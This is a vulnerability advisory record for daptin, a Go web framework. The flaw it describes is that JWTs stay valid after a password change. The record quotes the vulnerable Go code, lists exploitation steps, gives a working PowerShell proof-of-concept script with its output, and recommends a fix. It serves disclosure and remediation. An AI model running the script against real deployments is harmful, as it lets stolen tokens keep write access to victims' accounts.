{"id":"GHSA-258c-965c-p3hc","aliases":["GO-2026-4991"],"url":"https://o3.security/vulnerability/GHSA-258c-965c-p3hc","summary":"Daptin's Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change","details":"### Summary\n\nA session invalidation vulnerability exists in daptin's authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (`CheckJWT`) only verifies token signature, expiry, issuer, and signing algorithm — it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls `InvalidateAuthCacheForEmail()` and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.\n\n#### Vulnerable Files\n\n* `daptin/server/jwt/jwtmiddleware.go` — JWT validation without session versioning\n* `daptin/server/resource/resource_update.go` — password update without session invalidation\n* `daptin/server/actions/action_generate_jwt_token.go` — JWT claims lack password version\n* `daptin/server/auth/auth.go` — `InvalidateAuthCacheForEmail` exists but not called on update\n* `daptin/server/resource/columns.go` — password change action wiring\n\n#### Vulnerable Code Snippet\n\n**1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):**\n\n```go\n// Now parse the token\nparsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)\n\n// Check if there was an error in parsing...\nif err != nil {\n    m.logf(\"Error parsing token: %v\", err)\n    m.Options.ErrorHandler(w, r, err.Error())\n    return nil, fmt.Errorf(\"Error parsing token: %v\", err)\n}\n\nif parsedToken.Claims.(jwt.MapClaims)[\"iss\"] != m.Options.Issuer {\n    return nil, fmt.Errorf(\"Invalid issuer: %v\", parsedToken.Header[\"iss\"])\n}\n\nif m.Options.SigningMethod != nil && m.Options.SigningMethod.Alg() != parsedToken.Header[\"alg\"] {\n    // ... algorithm check\n}\n\n// Check if the parsed token is valid...\nif !parsedToken.Valid {\n    m.logf(\"Token is invalid\")\n    m.Options.ErrorHandler(w, r, \"The token isn't valid\")\n    return nil, errors.New(\"Token is invalid\")\n}\n```\n\n**No check exists for password version, session version, or token revocation status.** A token issued before a password change passes all these checks identically.\n\n**2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):**\n\n```go\nif col.ColumnType == \"password\" {\n    val, err = BcryptHashString(val.(string))\n    if err != nil {\n        log.Errorf(\"Failed to convert string to bcrypt hash, not storing the value: %v\", err)\n        continue\n    }\n}\n```\n\nThe new bcrypt hash is stored, but no call to `auth.InvalidateAuthCacheForEmail()` is made, and no token revocation mechanism is triggered.\n\n**3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):**\n\n```go\ntoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n    \"email\": existingUser[\"email\"],\n    \"sub\":   daptinid.InterfaceToDIR(existingUser[\"reference_id\"]).String(),\n    \"name\":  existingUser[\"name\"],\n    \"nbf\":   timeNow.Unix(),\n    \"exp\":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),\n    \"iss\":   d.jwtTokenIssuer,\n    \"iat\":   timeNow.Unix(),\n    \"jti\":   u.String(),\n})\n```\n\nClaims include `email`, `sub`, `name`, `nbf`, `exp`, `iss`, `iat`, `jti` — but **no `pwd_version`** or equivalent claim that could be compared against a server-side value during validation.\n\n**4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):**\n\n```go\nfunc InvalidateAuthCacheForEmail(email string) {\n    if olricCache == nil {\n        return\n    }\n    _, err := olricCache.Delete(context.Background(), email)\n    if err != nil {\n        log.Warnf(\"failed to invalidate auth cache for %s: %v\", email, err)\n    }\n}\n```\n\nThis function is called in `resource_create.go:470`, `resource_delete.go:73`, and `dbmethods.go:1194` — but **never** in `resource_update.go`, which is the code path for password changes.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account on the daptin instance\n2. Sign in and capture the JWT (this becomes the \"stolen\" token)\n3. Change the user's password via `PATCH /api/user_account/{id}`\n4. Reuse the original JWT — it still returns `HTTP 200` with full data access\n5. Confirm the old password no longer works for new login (password did change)\n6. Confirm the old token still allows write operations (full CRUD retained)\n\n**Result: `HTTP 200`** — write operations also succeed with the old token.\n\n#### Automation PoC\n\n```\n# VULN-04: No Session Invalidation After Password Change\n# CWE-613 | daptin v0.9.82\n# Proves: old JWT stays valid after password change\n\n$BASE = \"http://127.0.0.1:6336\"\nWrite-Host \"`n===== VULN-04: Session Invalidation Test =====`n\" -ForegroundColor Cyan\n\n# Step 0: Clean restart\nWrite-Host \"[0] Restarting container...\" -ForegroundColor Yellow\ndocker compose -f \"c:\\Users\\Vashu\\Desktop\\Projects\\ZeroDay\\cve_hunt\\daptin\\docker-compose.yml\" restart daptin\nStart-Sleep 8\n\n# Step 1: Create victim user\nWrite-Host \"[1] Creating victim user...\" -ForegroundColor Yellow\n$s = @{attributes=@{email='victim04@p.me';password='OrigPass123!';passwordConfirm='OrigPass123!';name='victim04'}} | ConvertTo-Json\ntry { Invoke-RestMethod -Uri \"$BASE/action/user_account/signup\" -Method Post -ContentType 'application/json' -Body $s | Out-Null } catch {}\n\n# Step 2: Sign in, capture OLD token (simulates stolen token)\nWrite-Host \"[2] Signing in for OLD token...\" -ForegroundColor Yellow\n$si = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json\n$r = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType 'application/json' -Body $si\n$OLD = ($r | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value\nWrite-Host \"  OLD token captured (len=$($OLD.Length))\" -ForegroundColor Green\n\n# Step 3: Get victim ID\n$ua = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n$ID = ($ua.data | Where-Object {$_.attributes.email -eq 'victim04@p.me'} | Select-Object -First 1).id\nWrite-Host \"[3] Victim ID: $ID\" -ForegroundColor Green\n\n# Step 4: VICTIM CHANGES PASSWORD\nWrite-Host \"[4] *** VICTIM CHANGES PASSWORD ***\" -ForegroundColor Red\n$p = @{data=@{type='user_account';id=$ID;attributes=@{password='NewPass456!'}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType 'application/vnd.api+json' -Body $p | Out-Null\nWrite-Host \"  Password changed.\" -ForegroundColor Green\n\n# Step 5: OLD token still works?\nWrite-Host \"[5] Testing OLD token after password change...\" -ForegroundColor Red\ntry {\n  $t = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n  Write-Host \"  RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)\" -ForegroundColor Red\n  Write-Host \"  *** VULN CONFIRMED: Session NOT invalidated after password change ***\" -ForegroundColor Red\n} catch {\n  Write-Host \"  RESULT: OLD token REJECTED\" -ForegroundColor Green\n}\n\n# Step 6: Write test with OLD token\nWrite-Host \"[6] Write test with OLD token...\" -ForegroundColor Yellow\ntry {\n  $wp = @{data=@{type='user_account';id=$ID;attributes=@{name='hacked_by_old_token'}}} | ConvertTo-Json -Depth 8\n  Invoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType 'application/vnd.api+json' -Body $wp | Out-Null\n  Write-Host \"  WRITE SUCCEEDED with old token!\" -ForegroundColor Red\n} catch {\n  Write-Host \"  Write rejected\" -ForegroundColor Green\n}\n\n# Step 7: New password works for login?\nWrite-Host \"[7] New password login...\" -ForegroundColor Yellow\n$si2 = @{attributes=@{email='victim04@p.me';password='NewPass456!'}} | ConvertTo-Json\n$r2 = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType 'application/json' -Body $si2\n$NEW = ($r2 | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value\nWrite-Host \"  New password login: SUCCESS\" -ForegroundColor Green\n\n# Step 8: Old password rejected for login?\nWrite-Host \"[8] Old password login attempt...\" -ForegroundColor Yellow\n$si3 = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json\ntry {\n  Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType 'application/json' -Body $si3 | Out-Null\n  Write-Host \"  Old password STILL WORKS (unexpected!)\" -ForegroundColor Red\n} catch {\n  Write-Host \"  Old password REJECTED (password change confirmed)\" -ForegroundColor Green\n}\n\n# Step 9: Multi-token test\nWrite-Host \"[9] Multi-token persistence test...\" -ForegroundColor Yellow\n$toks = @()\nfor ($i=0; $i -lt 3; $i++) {\n  $rl = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType 'application/json' -Body $si2\n  $toks += ($rl | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value\n}\n$p2 = @{data=@{type='user_account';id=$ID;attributes=@{password='ThirdPass789!'}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $($toks[0])\"} -ContentType 'application/vnd.api+json' -Body $p2 | Out-Null\nWrite-Host \"  Password changed again. Testing all 3 pre-change tokens:\"\nfor ($i=0; $i -lt $toks.Count; $i++) {\n  try {\n    Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $($toks[$i])\"} | Out-Null\n    Write-Host \"  Token $($i+1): STILL VALID\" -ForegroundColor Red\n  } catch {\n    Write-Host \"  Token $($i+1): REJECTED\" -ForegroundColor Green\n  }\n}\n\n# Step 10: JWT decode\nWrite-Host \"`n[10] JWT Claims Analysis:\" -ForegroundColor Yellow\nif ($OLD) {\n  $parts = $OLD.Split('.')\n  $pl = $parts[1]\n  $pad = 4 - ($pl.Length % 4)\n  if ($pad -ne 4) { $pl += \"=\" * $pad }\n  $pl = $pl.Replace(\"-\",\"+\").Replace(\"_\",\"/\")\n  $bytes = [Convert]::FromBase64String($pl)\n  $json = [Text.Encoding]::UTF8.GetString($bytes)\n  Write-Host \"  Payload: $json\" -ForegroundColor Cyan\n}\nWrite-Host \"  Missing: pwd_version / session_version claim\" -ForegroundColor Red\nWrite-Host \"  Missing: token revocation on password change\" -ForegroundColor Red\n\nWrite-Host \"`n===== TEST COMPLETE =====\" -ForegroundColor Cyan\n```\n\n**Verified test output:**\n\n```\n[5] Testing OLD token after password change...\n  RESULT: OLD token STILL VALID (HTTP 200, 3 records)\n  *** VULN CONFIRMED: Session NOT invalidated after password change ***\n\n[6] Write test with OLD token...\n  WRITE SUCCEEDED with old token!\n\n[7] New password login...\n  New password login: SUCCESS\n\n[8] Old password login attempt...\n  Old password REJECTED (password change confirmed)\n\n[9] Multi-token persistence test...\n  Password changed again. Testing all 3 pre-change tokens:\n  Token 1: STILL VALID\n  Token 2: STILL VALID\n  Token 3: STILL VALID\n\n[10] JWT Claims Analysis:\n  Payload: {\"email\":\"victim04@p.me\",\"exp\":1776591689,\"iat\":1776332489,\n    \"iss\":\"daptin-2eda69\",\"jti\":\"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d\",\n    \"name\":\"victim04\",\"nbf\":1776332489,\"sub\":\"1a857f2e-42d2-4314-afe9-d782e1b84dbb\"}\n  Missing: pwd_version / session_version claim\n  Missing: token revocation on password change\n```\n\n## Recommended Fix\n\n1. **Add a `password_version` column** to the `user_account` table (integer, incremented on each password change)\n2. **Include `pwd_version` in JWT claims** at token generation time (`action_generate_jwt_token.go:74`)\n3. **Check `pwd_version` during validation** in `CheckJWT()` (`jwtmiddleware.go:232-260`) — compare the claim value against the current database value; reject if mismatched\n4. **Call `InvalidateAuthCacheForEmail()`** in `resource_update.go` when a password column is updated, to force the auth cache to re-fetch user state","published":"2026-05-07T02:57:54Z","modified":"2026-05-20T19:41:29.507985464Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/daptin/daptin","fixedVersion":"0.11.8"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/daptin/daptin/security/advisories/GHSA-258c-965c-p3hc"},{"type":"PACKAGE","url":"https://github.com/daptin/daptin"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-20T19:41:29.507985464Z"}}